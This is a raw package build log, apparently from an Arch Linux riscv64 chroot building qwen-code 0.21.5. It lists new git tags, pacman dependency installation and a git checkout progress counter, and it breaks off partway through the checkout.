* [new tag] desktop-v0.2.1 -> desktop-v0.2.1
* [new tag] desktop-v0.2.2 -> desktop-v0.2.2
* [new tag] desktop-v0.3.0 -> desktop-v0.3.0
* [new tag] desktop-v0.3.0-preview.0 -> desktop-v0.3.0-preview.0
* [new tag] dsw-eas-e2e-20260812 -> dsw-eas-e2e-20260812
* [new tag] dsw-eas-full-20260813-r1 -> dsw-eas-full-20260813-r1
* [new tag] dsw-eas-full-20260813-r3 -> dsw-eas-full-20260813-r3
* [new tag] dsw-eas-full-20260815-r1 -> dsw-eas-full-20260815-r1
* [new tag] dsw-eas-full-20260816-r1 -> dsw-eas-full-20260816-r1
* [new tag] dsw-eas-full-20260816-r2 -> dsw-eas-full-20260816-r2
* [new tag] dsw-eas-full-20260816-r3 -> dsw-eas-full-20260816-r3
* [new tag] dsw-eas-full-20260817-r1 -> dsw-eas-full-20260817-r1
* [new tag] dsw-eas-full-20260817-r2 -> dsw-eas-full-20260817-r2
* [new tag] dsw-eas-full-20260817-r3 -> dsw-eas-full-20260817-r3
* [new tag] dsw-eas-full-20260818-r1 -> dsw-eas-full-20260818-r1
* [new tag] dsw-eas-full-20260818-r2 -> dsw-eas-full-20260818-r2
* [new tag] dsw-eas-full-20260818-r3 -> dsw-eas-full-20260818-r3
* [new tag] dsw-eas-full-20260819-r1 -> dsw-eas-full-20260819-r1
* [new tag] dsw-eas-full-20260820-r1 -> dsw-eas-full-20260820-r1
* [new tag] dsw-eas-full-20260821-r1 -> dsw-eas-full-20260821-r1
* [new tag] dsw-eas-manual-smoke-20260820-r1 -> dsw-eas-manual-smoke-20260820-r1
* [new tag] dsw-eas-manual-smoke-20260820-r2 -> dsw-eas-manual-smoke-20260820-r2
* [new tag] dsw-eas-net-smoke-20260819-r1 -> dsw-eas-net-smoke-20260819-r1
* [new tag] dsw-eas-smoke-20260812-281542bfdc -> dsw-eas-smoke-20260812-281542bfdc
* [new tag] dsw-eas-tb-e2e-20260814-r1 -> dsw-eas-tb-e2e-20260814-r1
* [new tag] dsw-eas-tb-e2e-20260814-r2 -> dsw-eas-tb-e2e-20260814-r2
* [new tag] dsw-eas-tb-e2e-20260814-r3 -> dsw-eas-tb-e2e-20260814-r3
* [new tag] dsw-eas-tb-e2e-20260814-r4 -> dsw-eas-tb-e2e-20260814-r4
* [new tag] dsw-eas-tb-e2e-20260814-r5 -> dsw-eas-tb-e2e-20260814-r5
* [new tag] dsw-eas-tb-e2e-20260814-r6 -> dsw-eas-tb-e2e-20260814-r6
* [new tag] dsw-eas-tb-smoke-20260815-r1 -> dsw-eas-tb-smoke-20260815-r1
* [new tag] dsw-eas-tb-smoke-20260815-r2 -> dsw-eas-tb-smoke-20260815-r2
* [new tag] dsw-eas-tb-smoke-20260815-r3 -> dsw-eas-tb-smoke-20260815-r3
* [new tag] dsw-eas-tb-smoke-20260815-r4 -> dsw-eas-tb-smoke-20260815-r4
* [new tag] dsw-eas-tb-smoke-20260815-r5 -> dsw-eas-tb-smoke-20260815-r5
* [new tag] dsw-eas-tb-smoke-20260817-r1 -> dsw-eas-tb-smoke-20260817-r1
* [new tag] dsw-eas-tb-smoke-20260817-r2 -> dsw-eas-tb-smoke-20260817-r2
* [new tag] dsw-eas-tb-smoke-20260817-r3 -> dsw-eas-tb-smoke-20260817-r3
* [new tag] dsw-eas-tb-smoke-20260817-r4 -> dsw-eas-tb-smoke-20260817-r4
* [new tag] dsw-eas-tb-smoke-20260818-r1 -> dsw-eas-tb-smoke-20260818-r1
* [new tag] dsw-eas-tb-smoke-20260818-r2 -> dsw-eas-tb-smoke-20260818-r2
* [new tag] dsw-eas-tb-smoke-20260820-r1 -> dsw-eas-tb-smoke-20260820-r1
* [new tag] dsw-eas-tb-smoke-20260820-r2 -> dsw-eas-tb-smoke-20260820-r2
* [new tag] dsw-eas-tb-smoke-20260820-r3 -> dsw-eas-tb-smoke-20260820-r3
* [new tag] dsw-eas-tb-smoke-20260821-r1 -> dsw-eas-tb-smoke-20260821-r1
* [new tag] dsw-manual-poc-20260727-1 -> dsw-manual-poc-20260727-1
* [new tag] dsw-manual-poc-20260727-2 -> dsw-manual-poc-20260727-2
* [new tag] dsw-swe-full-async-poc-20260724-2c5ad4a5d0 -> dsw-swe-full-async-poc-20260724-2c5ad4a5d0
* [new tag] dsw-swe-full-async-poc-20260724-2c5ad4a5d0-r2 -> dsw-swe-full-async-poc-20260724-2c5ad4a5d0-r2
* [new tag] dsw-swe-full-async-poc-20260724-2c5ad4a5d0-r3 -> dsw-swe-full-async-poc-20260724-2c5ad4a5d0-r3
* [new tag] dsw-swe-full-poc-20260724-046c1e5 -> dsw-swe-full-poc-20260724-046c1e5
* [new tag] dsw-swe-full-poc-20260724-76c64c1 -> dsw-swe-full-poc-20260724-76c64c1
* [new tag] dsw-swe-full-poc-20260724-78a7554 -> dsw-swe-full-poc-20260724-78a7554
* [new tag] dsw-swe-full-poc-20260724-fadeed2 -> dsw-swe-full-poc-20260724-fadeed2
* [new tag] gh-attach-assets -> gh-attach-assets
* [new tag] live-host-latest -> live-host-latest
* [new tag] live-host-v0.1.0 -> live-host-v0.1.0
* [new tag] live-host-v0.1.1 -> live-host-v0.1.1
* [new tag] live-host-v0.2.0 -> live-host-v0.2.0
* [new tag] pr-4168-archive-pre-revert -> pr-4168-archive-pre-revert
* [new tag] pr-9806-verification-assets -> pr-9806-verification-assets
* [new tag] pr-assets-8147-review -> pr-assets-8147-review
* [new tag] pr6603-verify-screenshots -> pr6603-verify-screenshots
* [new tag] pr6633-screenshots -> pr6633-screenshots
* [new tag] pr7257-verify-screenshots -> pr7257-verify-screenshots
* [new tag] pr7453-verify-screenshots -> pr7453-verify-screenshots
* [new tag] pr7454-verify-screenshots -> pr7454-verify-screenshots
* [new tag] pr7458-verify-screenshots -> pr7458-verify-screenshots
* [new tag] pr7851-verify-screenshots -> pr7851-verify-screenshots
* [new tag] pr7886-verify-screenshots -> pr7886-verify-screenshots
* [new tag] pr7908-verify-screenshots -> pr7908-verify-screenshots
* [new tag] pr7912-verify-screenshots -> pr7912-verify-screenshots
* [new tag] pr7919-verify-screenshots -> pr7919-verify-screenshots
* [new tag] pr7919-verify-screenshots-r3 -> pr7919-verify-screenshots-r3
* [new tag] pr8332-verify-screenshots -> pr8332-verify-screenshots
* [new tag] pr8455-verify-screenshots -> pr8455-verify-screenshots
* [new tag] pr8501-verify-screenshots -> pr8501-verify-screenshots
* [new tag] pr8588-verify-screenshots -> pr8588-verify-screenshots
* [new tag] pr8616-verify-screenshots -> pr8616-verify-screenshots
* [new tag] pr9425-verify-screenshots -> pr9425-verify-screenshots
* [new tag] pr9975-verify-screenshots -> pr9975-verify-screenshots
* [new tag] sdk-python-v0.1.0-preview.0 -> sdk-python-v0.1.0-preview.0
* [new tag] sdk-typescript-v0.1.10 -> sdk-typescript-v0.1.10
* [new tag] sdk-typescript-v0.1.11 -> sdk-typescript-v0.1.11
* [new tag] sdk-typescript-v0.1.12 -> sdk-typescript-v0.1.12
* [new tag] sdk-typescript-v0.1.8 -> sdk-typescript-v0.1.8
* [new tag] sdk-typescript-v0.1.8-preview.0 -> sdk-typescript-v0.1.8-preview.0
* [new tag] sdk-typescript-v0.1.8-preview.1 -> sdk-typescript-v0.1.8-preview.1
* [new tag] sdk-typescript-v0.1.9 -> sdk-typescript-v0.1.9
* [new tag] tui-spacing-density-pr1-evidence -> tui-spacing-density-pr1-evidence
* [new tag] v0.0.0-benchmark-poc.20260722.1 -> v0.0.0-benchmark-poc.20260722.1
* [new tag] v0.15.10 -> v0.15.10
* [new tag] v0.15.10-nightly.20260511.0a05ea800 -> v0.15.10-nightly.20260511.0a05ea800
* [new tag] v0.15.10-nightly.20260513.14512080e -> v0.15.10-nightly.20260513.14512080e
* [new tag] v0.15.10-preview.0 -> v0.15.10-preview.0
* [new tag] v0.15.10-preview.1 -> v0.15.10-preview.1
* [new tag] v0.15.11 -> v0.15.11
* [new tag] v0.15.11-nightly.20260516.435f711e3 -> v0.15.11-nightly.20260516.435f711e3
* [new tag] v0.15.11-nightly.20260518.f44ed0941 -> v0.15.11-nightly.20260518.f44ed0941
* [new tag] v0.15.11-preview.0 -> v0.15.11-preview.0
* [new tag] v0.15.11-preview.1 -> v0.15.11-preview.1
* [new tag] v0.15.11-preview.2 -> v0.15.11-preview.2
* [new tag] v0.15.12-preview.0 -> v0.15.12-preview.0
* [new tag] v0.15.12-preview.1 -> v0.15.12-preview.1
* [new tag] v0.15.12-preview.2 -> v0.15.12-preview.2
* [new tag] v0.15.12-preview.3 -> v0.15.12-preview.3
* [new tag] v0.15.6-nightly.20260503.5037fa762 -> v0.15.6-nightly.20260503.5037fa762
* [new tag] v0.15.6-nightly.20260504.e617f20d1 -> v0.15.6-nightly.20260504.e617f20d1
* [new tag] v0.15.6-nightly.20260505.2e69d641d -> v0.15.6-nightly.20260505.2e69d641d
* [new tag] v0.15.6-nightly.20260506.2a5be0d3b -> v0.15.6-nightly.20260506.2a5be0d3b
* [new tag] v0.15.6-nightly.20260507.15342b893 -> v0.15.6-nightly.20260507.15342b893
* [new tag] v0.15.6-preview.1 -> v0.15.6-preview.1
* [new tag] v0.15.7 -> v0.15.7
* [new tag] v0.15.7-preview.0 -> v0.15.7-preview.0
* [new tag] v0.15.7-preview.1 -> v0.15.7-preview.1
* [new tag] v0.15.7-preview.2 -> v0.15.7-preview.2
* [new tag] v0.15.8 -> v0.15.8
* [new tag] v0.15.8-nightly.20260508.0491252b2 -> v0.15.8-nightly.20260508.0491252b2
* [new tag] v0.15.8-preview.0 -> v0.15.8-preview.0
* [new tag] v0.15.9 -> v0.15.9
* [new tag] v0.15.9-nightly.20260509.199c0e290 -> v0.15.9-nightly.20260509.199c0e290
* [new tag] v0.15.9-nightly.20260510.f4d0ad6b7 -> v0.15.9-nightly.20260510.f4d0ad6b7
* [new tag] v0.16.0 -> v0.16.0
* [new tag] v0.16.0-nightly.20260522.48b0a8bfc -> v0.16.0-nightly.20260522.48b0a8bfc
* [new tag] v0.16.0-preview.0 -> v0.16.0-preview.0
* [new tag] v0.16.1 -> v0.16.1
* [new tag] v0.16.1-nightly.20260524.84f408017 -> v0.16.1-nightly.20260524.84f408017
* [new tag] v0.16.1-nightly.20260525.84f408017 -> v0.16.1-nightly.20260525.84f408017
* [new tag] v0.16.1-nightly.20260526.e8b79d772 -> v0.16.1-nightly.20260526.e8b79d772
* [new tag] v0.16.1-nightly.20260527.641a1a739 -> v0.16.1-nightly.20260527.641a1a739
* [new tag] v0.16.1-nightly.20260528.34b7d472e -> v0.16.1-nightly.20260528.34b7d472e
* [new tag] v0.16.1-nightly.20260529.7bed56b9b -> v0.16.1-nightly.20260529.7bed56b9b
* [new tag] v0.16.1-preview.0 -> v0.16.1-preview.0
* [new tag] v0.16.2 -> v0.16.2
* [new tag] v0.17.0 -> v0.17.0
* [new tag] v0.17.0-nightly.20260530.c699738f9 -> v0.17.0-nightly.20260530.c699738f9
* [new tag] v0.17.0-nightly.20260531.c699738f9 -> v0.17.0-nightly.20260531.c699738f9
* [new tag] v0.17.0-nightly.20260601.1c48e4121 -> v0.17.0-nightly.20260601.1c48e4121
* [new tag] v0.17.0-nightly.20260602.cea15a118 -> v0.17.0-nightly.20260602.cea15a118
* [new tag] v0.17.0-nightly.20260603.68408c30c -> v0.17.0-nightly.20260603.68408c30c
* [new tag] v0.17.0-preview.0 -> v0.17.0-preview.0
* [new tag] v0.17.1 -> v0.17.1
* [new tag] v0.17.1-nightly.20260604.16dd99fa3 -> v0.17.1-nightly.20260604.16dd99fa3
* [new tag] v0.17.1-nightly.20260605.715266537 -> v0.17.1-nightly.20260605.715266537
* [new tag] v0.17.1-nightly.20260606.16c1d9a5a -> v0.17.1-nightly.20260606.16c1d9a5a
* [new tag] v0.17.1-nightly.20260607.cef26a86a -> v0.17.1-nightly.20260607.cef26a86a
* [new tag] v0.17.1-nightly.20260608.aea34fa2c -> v0.17.1-nightly.20260608.aea34fa2c
* [new tag] v0.18.0 -> v0.18.0
* [new tag] v0.18.0-preview.0 -> v0.18.0-preview.0
* [new tag] v0.18.0-preview.1 -> v0.18.0-preview.1
* [new tag] v0.18.0-preview.2 -> v0.18.0-preview.2
* [new tag] v0.18.1 -> v0.18.1
* [new tag] v0.18.1-nightly.20260616.a68b2e1e7 -> v0.18.1-nightly.20260616.a68b2e1e7
* [new tag] v0.18.1-preview.0 -> v0.18.1-preview.0
* [new tag] v0.18.1-preview.1 -> v0.18.1-preview.1
* [new tag] v0.18.2 -> v0.18.2
* [new tag] v0.18.3 -> v0.18.3
* [new tag] v0.18.3-nightly.20260618.bc3e0b405 -> v0.18.3-nightly.20260618.bc3e0b405
* [new tag] v0.18.3-nightly.20260621.6b2f800ab -> v0.18.3-nightly.20260621.6b2f800ab
* [new tag] v0.18.3-preview.0 -> v0.18.3-preview.0
* [new tag] v0.18.4 -> v0.18.4
* [new tag] v0.18.4-preview.0 -> v0.18.4-preview.0
* [new tag] v0.18.5 -> v0.18.5
* [new tag] v0.18.5-nightly.20260622.6bc3f853e -> v0.18.5-nightly.20260622.6bc3f853e
* [new tag] v0.18.5-preview.0 -> v0.18.5-preview.0
* [new tag] v0.19.0 -> v0.19.0
* [new tag] v0.19.1 -> v0.19.1
* [new tag] v0.19.1-nightly.20260624.a234860a4 -> v0.19.1-nightly.20260624.a234860a4
* [new tag] v0.19.10 -> v0.19.10
* [new tag] v0.19.10-nightly.20260715.c538bd70d -> v0.19.10-nightly.20260715.c538bd70d
* [new tag] v0.19.10-nightly.20260716.506ce0a1a -> v0.19.10-nightly.20260716.506ce0a1a
* [new tag] v0.19.11 -> v0.19.11
* [new tag] v0.19.11-nightly.20260717.f8e6e8931 -> v0.19.11-nightly.20260717.f8e6e8931
* [new tag] v0.19.11-nightly.20260718.767a32484 -> v0.19.11-nightly.20260718.767a32484
* [new tag] v0.19.12 -> v0.19.12
* [new tag] v0.19.12-nightly.20260719.86ad532de -> v0.19.12-nightly.20260719.86ad532de
* [new tag] v0.19.12-preview.0 -> v0.19.12-preview.0
* [new tag] v0.19.2 -> v0.19.2
* [new tag] v0.19.2-nightly.20260625.b2f11b735 -> v0.19.2-nightly.20260625.b2f11b735
* [new tag] v0.19.2-nightly.20260627.d93bec905 -> v0.19.2-nightly.20260627.d93bec905
* [new tag] v0.19.2-nightly.20260628.714513df2 -> v0.19.2-nightly.20260628.714513df2
* [new tag] v0.19.2-preview.0 -> v0.19.2-preview.0
* [new tag] v0.19.3 -> v0.19.3
* [new tag] v0.19.3-nightly.20260630.e00fe6a27 -> v0.19.3-nightly.20260630.e00fe6a27
* [new tag] v0.19.3-nightly.20260701.a974594d7 -> v0.19.3-nightly.20260701.a974594d7
* [new tag] v0.19.4 -> v0.19.4
* [new tag] v0.19.4-nightly.20260702.46814e4f1 -> v0.19.4-nightly.20260702.46814e4f1
* [new tag] v0.19.5 -> v0.19.5
* [new tag] v0.19.5-nightly.20260703.b16baf1ff -> v0.19.5-nightly.20260703.b16baf1ff
* [new tag] v0.19.6 -> v0.19.6
* [new tag] v0.19.6-nightly.20260704.5dc2e1501 -> v0.19.6-nightly.20260704.5dc2e1501
* [new tag] v0.19.6-nightly.20260705.015ee4248 -> v0.19.6-nightly.20260705.015ee4248
* [new tag] v0.19.6-nightly.20260706.47f62a466 -> v0.19.6-nightly.20260706.47f62a466
* [new tag] v0.19.6-nightly.20260707.bcdb44c5d -> v0.19.6-nightly.20260707.bcdb44c5d
* [new tag] v0.19.6-preview.0 -> v0.19.6-preview.0
* [new tag] v0.19.7 -> v0.19.7
* [new tag] v0.19.7-nightly.20260708.394c1a289 -> v0.19.7-nightly.20260708.394c1a289
* [new tag] v0.19.8 -> v0.19.8
* [new tag] v0.19.8-nightly.20260710.205430235 -> v0.19.8-nightly.20260710.205430235
* [new tag] v0.19.8-nightly.20260711.0ef3a76bd -> v0.19.8-nightly.20260711.0ef3a76bd
* [new tag] v0.19.9 -> v0.19.9
* [new tag] v0.19.9-nightly.20260714.9dd8389eb -> v0.19.9-nightly.20260714.9dd8389eb
* [new tag] v0.19.9-preview.0 -> v0.19.9-preview.0
* [new tag] v0.20.0 -> v0.20.0
* [new tag] v0.20.0-nightly.20260721.cda0e0348 -> v0.20.0-nightly.20260721.cda0e0348
* [new tag] v0.20.0-nightly.20260722.b98306b7e -> v0.20.0-nightly.20260722.b98306b7e
* [new tag] v0.20.0-preview.0 -> v0.20.0-preview.0
* [new tag] v0.20.1 -> v0.20.1
* [new tag] v0.20.1-nightly.20260724.7d17c44a3 -> v0.20.1-nightly.20260724.7d17c44a3
* [new tag] v0.20.1-preview.7215 -> v0.20.1-preview.7215
* [new tag] v0.21.0 -> v0.21.0
* [new tag] v0.21.0-nightly.20260725.1183a4c82 -> v0.21.0-nightly.20260725.1183a4c82
* [new tag] v0.21.0-nightly.20260726.9d19eafa9 -> v0.21.0-nightly.20260726.9d19eafa9
* [new tag] v0.21.0-nightly.20260727.c003e1718 -> v0.21.0-nightly.20260727.c003e1718
* [new tag] v0.21.0-nightly.20260729.0c0ca5fed -> v0.21.0-nightly.20260729.0c0ca5fed
* [new tag] v0.21.1 -> v0.21.1
* [new tag] v0.21.1-nightly.20260730.1643a6c9a -> v0.21.1-nightly.20260730.1643a6c9a
* [new tag] v0.21.1-nightly.20260731.702932cc7 -> v0.21.1-nightly.20260731.702932cc7
* [new tag] v0.21.10 -> v0.21.10
* [new tag] v0.21.10-nightly.20260812.a64d1291d2 -> v0.21.10-nightly.20260812.a64d1291d2
* [new tag] v0.21.11 -> v0.21.11
* [new tag] v0.21.11-nightly.20260814.45c2e73080 -> v0.21.11-nightly.20260814.45c2e73080
* [new tag] v0.21.11-nightly.20260815.c396fe3d12 -> v0.21.11-nightly.20260815.c396fe3d12
* [new tag] v0.21.11-nightly.20260816.5677823abb -> v0.21.11-nightly.20260816.5677823abb
* [new tag] v0.21.11-nightly.20260817.195128a17a -> v0.21.11-nightly.20260817.195128a17a
* [new tag] v0.21.11-nightly.20260818.259951c53e -> v0.21.11-nightly.20260818.259951c53e
* [new tag] v0.21.11-nightly.20260819.d87b272aec -> v0.21.11-nightly.20260819.d87b272aec
* [new tag] v0.21.11-nightly.20260820.b414f135fa -> v0.21.11-nightly.20260820.b414f135fa
* [new tag] v0.21.11-preview.0 -> v0.21.11-preview.0
* [new tag] v0.21.12 -> v0.21.12
* [new tag] v0.21.12-preview.1 -> v0.21.12-preview.1
* [new tag] v0.21.12-preview.3 -> v0.21.12-preview.3
* [new tag] v0.21.12-preview.4 -> v0.21.12-preview.4
* [new tag] v0.21.12-preview.5 -> v0.21.12-preview.5
* [new tag] v0.21.13 -> v0.21.13
* [new tag] v0.21.14 -> v0.21.14
* [new tag] v0.21.14-nightly.20260821.9f2342d323 -> v0.21.14-nightly.20260821.9f2342d323
* [new tag] v0.21.14-nightly.20260822.7a4566cb3b -> v0.21.14-nightly.20260822.7a4566cb3b
* [new tag] v0.21.14-preview.0 -> v0.21.14-preview.0
* [new tag] v0.21.15 -> v0.21.15
* [new tag] v0.21.2 -> v0.21.2
* [new tag] v0.21.2-nightly.20260801.bc382c3ff -> v0.21.2-nightly.20260801.bc382c3ff
* [new tag] v0.21.3 -> v0.21.3
* [new tag] v0.21.3-nightly.20260802.184365390 -> v0.21.3-nightly.20260802.184365390
* [new tag] v0.21.3-nightly.20260803.e1e5b42ce -> v0.21.3-nightly.20260803.e1e5b42ce
* [new tag] v0.21.4 -> v0.21.4
* [new tag] v0.21.4-nightly.20260804.d6f55a1c9 -> v0.21.4-nightly.20260804.d6f55a1c9
* [new tag] v0.21.5 -> v0.21.5
* [new tag] v0.21.5-nightly.20260805.32e274157 -> v0.21.5-nightly.20260805.32e274157
* [new tag] v0.21.6 -> v0.21.6
* [new tag] v0.21.6-nightly.20260806.cb3dc107f -> v0.21.6-nightly.20260806.cb3dc107f
* [new tag] v0.21.6-preview.0 -> v0.21.6-preview.0
* [new tag] v0.21.7 -> v0.21.7
* [new tag] v0.21.7-nightly.20260807.fca8f3c1f -> v0.21.7-nightly.20260807.fca8f3c1f
* [new tag] v0.21.7-nightly.20260808.4ec0371e6 -> v0.21.7-nightly.20260808.4ec0371e6
* [new tag] v0.21.8 -> v0.21.8
* [new tag] v0.21.8-nightly.20260810.55e20db328 -> v0.21.8-nightly.20260810.55e20db328
* [new tag] v0.21.9 -> v0.21.9
* [new tag] v0.21.9-nightly.20260811.8c90697ace -> v0.21.9-nightly.20260811.8c90697ace
* [new tag] v0.22.0 -> v0.22.0
* [new tag] v0.22.0-nightly.20260823.1007bcacfc -> v0.22.0-nightly.20260823.1007bcacfc
* [new tag] v0.22.0-nightly.20260824.3a1f86d805 -> v0.22.0-nightly.20260824.3a1f86d805
* [new tag] v0.22.0-nightly.20260825.22bb5e8b9f -> v0.22.0-nightly.20260825.22bb5e8b9f
* [new tag] v0.22.1 -> v0.22.1
* [new tag] v0.22.2 -> v0.22.2
* [new tag] v0.22.2-nightly.20260828.7357136dd1 -> v0.22.2-nightly.20260828.7357136dd1
* [new tag] v0.22.2-preview.1 -> v0.22.2-preview.1
* [new tag] v0.22.3 -> v0.22.3
* [new tag] v0.22.3-nightly.20260829.e5cb60ad48 -> v0.22.3-nightly.20260829.e5cb60ad48
* [new tag] v0.22.3-nightly.20260831.3a0c4c6108 -> v0.22.3-nightly.20260831.3a0c4c6108
* [new tag] v0.23.0 -> v0.23.0
* [new tag] v0.23.0-nightly.20260905.0c945a6136 -> v0.23.0-nightly.20260905.0c945a6136
* [new tag] v0.23.0-nightly.20260905.e3d26283e6 -> v0.23.0-nightly.20260905.e3d26283e6
* [new tag] v0.23.0-nightly.20260906.92a8a8d179 -> v0.23.0-nightly.20260906.92a8a8d179
* [new tag] v0.23.0-nightly.20260907.f1ed3bc31a -> v0.23.0-nightly.20260907.f1ed3bc31a
* [new tag] v0.23.1 -> v0.23.1
* [new tag] v0.23.1-preview.0 -> v0.23.1-preview.0
* [new tag] v0.23.1-preview.1 -> v0.23.1-preview.1
* [new tag] v0.23.1-preview.2 -> v0.23.1-preview.2
* [new tag] v0.23.2 -> v0.23.2
* [new tag] v0.23.2-nightly.20260909.2e212144d3 -> v0.23.2-nightly.20260909.2e212144d3
* [new tag] v0.23.2-preview.0 -> v0.23.2-preview.0
* [new tag] v0.23.3 -> v0.23.3
* [new tag] v0.23.3-nightly.20260910.c46cb85cf2 -> v0.23.3-nightly.20260910.c46cb85cf2
* [new tag] weaken-tool-error-shots -> weaken-tool-error-shots
[1m[32m==>[m[1m Validating source files with sha256sums...[m
qwen-code ... Passed
[1m[32m==>[m[1m Validating source files with b2sums...[m
qwen-code ... Passed
]3008;end=a2873d54dd5e48a68b8787e8bee754e8\[0;1;39mNote: in a future version of systemd-nspawn the default set of permitted socket address families will be restricted to AF_INET, AF_INET6 and AF_UNIX. Use --restrict-address-families= to configure the set of permitted socket address families, or set RestrictAddressFamilies= in a .nspawn file.[0m
]3008;start=2589bb87018248da90ea67ada367a384;user=root;hostname=magmar.felixc.at;machineid=df2217b61a6e4c659e659d77485a3d64;bootid=61694a90612d4b1f8d2901d77a08d47f;pid=1132256;pidfdid=26321364;comm=systemd-nspawn;container=makechrootpkg-qwen-code.build.1130449;type=container\]11;?\[22;2t]2;🔵 Container makechrootpkg-qwen-code.build.1130449 on magmar.felixc.at\]3008;start=09358c05c12e4f8ebf1ed05d7d02e667;user=root;hostname=makechrootpkg-qwen-code.build.1130449;machineid=d250e81ef1db48f4bf6f187b6b9488d3;bootid=71b1934f7d2e4fb6a338f6fa96da8432;pid=34;pidfdid=26335400;comm=sudo;targetuser=builduser;type=session\[1m[32m==>[m[1m Making package: qwen-code 0.21.5-1 (Fri Sep 11 21:42:33 2026)[m
[1m[32m==>[m[1m Checking runtime dependencies...[m
[1m[32m==>[m[1m Installing missing dependencies...[m
]3008;start=38488e240ec34f8b943876982a49dd3e;user=builduser;hostname=makechrootpkg-qwen-code.build.1130449;machineid=d250e81ef1db48f4bf6f187b6b9488d3;bootid=71b1934f7d2e4fb6a338f6fa96da8432;pid=3214;pidfdid=26287111;comm=sudo;targetuser=root;type=session\[?25lresolving dependencies...
looking for conflicting packages...
Package (6) New Version Net Change Download Size
extra/ada 4.0.0-1 0.83 MiB
extra/c-ares 1.34.8-1 0.52 MiB
extra/libuv 1.52.1-2 0.62 MiB
extra/simdjson 1:4.6.9-1 7.46 MiB
extra/nodejs 26.8.2-1 56.91 MiB 15.18 MiB
extra/ripgrep 15.2.0-1 3.96 MiB
Total Download Size: 15.18 MiB
Total Installed Size: 70.30 MiB
:: Proceed with installation? [Y/n]
:: Retrieving packages...
nodejs-26.8.2-1-riscv64 downloading...
checking keyring...
checking package integrity...
loading package files...
checking for file conflicts...
:: Processing package changes...
installing ada...
installing c-ares...
installing libuv...
installing simdjson...
installing nodejs...
Optional dependencies for nodejs
npm: nodejs package manager
installing ripgrep...
:: Running post-transaction hooks...
(1/1) Arming ConditionNeedsUpdate...
[?25h]3008;end=38488e240ec34f8b943876982a49dd3e\[1m[32m==>[m[1m Checking buildtime dependencies...[m
[1m[32m==>[m[1m Installing missing dependencies...[m
]3008;start=3b432f8a6506402eaae5e28b307a9191;user=builduser;hostname=makechrootpkg-qwen-code.build.1130449;machineid=d250e81ef1db48f4bf6f187b6b9488d3;bootid=71b1934f7d2e4fb6a338f6fa96da8432;pid=3369;pidfdid=26242399;comm=sudo;targetuser=root;type=session\[?25lresolving dependencies...
looking for conflicting packages...
Package (11) New Version Net Change
extra/node-gyp 13.0.2-1 6.80 MiB
extra/nodejs-nopt 10.0.1-1 0.03 MiB
extra/oniguruma 6.9.10-1 0.88 MiB
extra/perl-error 0.17030-3 0.04 MiB
extra/perl-mailtools 2.22-3 0.10 MiB
extra/perl-timedate 2.35-1 0.15 MiB
extra/semver 7.8.5-1 0.10 MiB
extra/zlib-ng 2.3.3-1 0.23 MiB
extra/git 2.55.0-1 29.92 MiB
extra/jq 1.8.2-1 0.48 MiB
extra/npm 12.0.2-1 9.39 MiB
Total Installed Size: 48.12 MiB
:: Proceed with installation? [Y/n]
checking keyring...
checking package integrity...
loading package files...
checking for file conflicts...
:: Processing package changes...
installing perl-error...
installing perl-timedate...
installing perl-mailtools...
installing zlib-ng...
installing git...
Optional dependencies for git
git-zsh-completion: upstream zsh completion
tk: gitk and git gui
openssh: ssh transport and crypto
man: show help with `git command --help`
perl-libwww: git svn
perl-term-readkey: git svn and interactive.singlekey setting
perl-io-socket-ssl: git send-email TLS support
perl-authen-sasl: git send-email TLS support
perl-cgi: gitweb (web interface) support
python: git svn & git p4 [installed]
subversion: git svn
org.freedesktop.secrets: keyring credential helper
libsecret: libsecret credential helper [installed]
less: the default pager for git
installing oniguruma...
installing jq...
installing nodejs-nopt...
installing semver...
installing node-gyp...
Optional dependencies for node-gyp
gcc: to build C++ modules [installed]
make: to build C++ modules [installed]
python: to build C++ modules [installed]
installing npm...
Optional dependencies for npm
git: for dependencies using Git URL's [installed]
:: Running post-transaction hooks...
(1/4) Creating system user accounts...
Creating group 'git' with GID 968.
Creating user 'git' (git daemon user) with UID 968 and GID 968.
(2/4) Reloading system manager configuration...
Skipped: Current root is not booted.
(3/4) Arming ConditionNeedsUpdate...
(4/4) Checking for old perl modules...
[?25h]3008;end=3b432f8a6506402eaae5e28b307a9191\[1m[32m==>[m[1m Retrieving sources...[m
[1m[33m==> WARNING:[m[1m Skipping all source file integrity checks.[m
[1m[32m==>[m[1m Extracting sources...[m
[1m[34m ->[m[1m Creating working copy of qwen-code git repo...[m
Cloning into 'qwen-code'...
done.
Updating files: 25% (2070/8280)
Updating files: 26% (2153/8280)
Updating files: 27% (2236/8280)
Updating files: 28% (2319/8280)
Updating files: 29% (2402/8280)
Updating files: 30% (2484/8280)
Updating files: 31% (2567/8280)
Updating files: 32% (2650/8280)
Updating files: 33% (2733/8280)
Updating files: 34% (2816/8280)
Updating files: 35% (2898/8280)
Updating files: 36% (2981/8280)
Updating files: 37% (3064/8280)
Updating files: 38% (3147/8280)
Updating files: 39% (3230/8280)
Updating files: 40% (3312/8280)
Updating files: 41% (3395/8280)
Updating files: 42% (3478/8280)
Updating files: 43% (3561/8280)
Updating files: 44% (3644/8280)
Updating files: 45% (3726/8280)
Updating files: 46% (3809/8280)
Updating files: 47% (3892/8280)
Updating files: 48% (3975/8280)
Updating files: 49% (4058/8280)
Updating files: 50% (4140/8280)
Updating files: 51% (4223/8280)
Updating files: 52% (4306/8280)
Updating files: 53% (4389/8280)
Updating files: 54% (4472/8280)
Updating files: 55% (4554/8280)
Updating files: 56% (4637/8280)
Updating files: 56% (4656/8280)
Updating files: 57% (4720/8280)
Updating files: 58% (4803/8280)
Updating files: 59% (4886/8280)
Updating files: 60% (4968/8280)
Updating files: 61% (5051/8280)
Updating files: 62% (5134/8280)
Updating files: 63% (5217/8280)
Updating files: 64% (5300/8280)
Updating files: 65% (5382/8280)
Updating files: 66% (5465/8280)
Updating files: 67% (5548/8280)
Updating files: 68% (5631/8280)
Updating files: 69% (5714/8280)
Updating files: 70% (5796/8280)
Updating files: 70% (5848/8280)
Updating files: 71% (5879/8280)
Updating files: 72% (5962/8280)
Updating files: 73% (6045/8280)
Updating files: 74% (6128/8280)
Updating files: 75% (6210/8280)
Updating files: 76% (6293/8280)
Updating files: 77% (6376/8280)
Updating files: 78% (6459/8280)
Updating files: 79% (6542/8280)
Updating files: 80% (6624/8280)
Updating files: 81% (6707/8280)
Updating files: 82% (6790/8280)
Updating files: 83% (6873/8280)
Updating files: 84% (6956/8280)
Updating files: 85% (7038/8280)
Updating files: 86% (7121/8280)
Updating files: 87% (7204/8280)
Updating files: 88% (7287/8280)
Updating files: 89% (7370/8280)
Updating files: 90% (7452/8280)
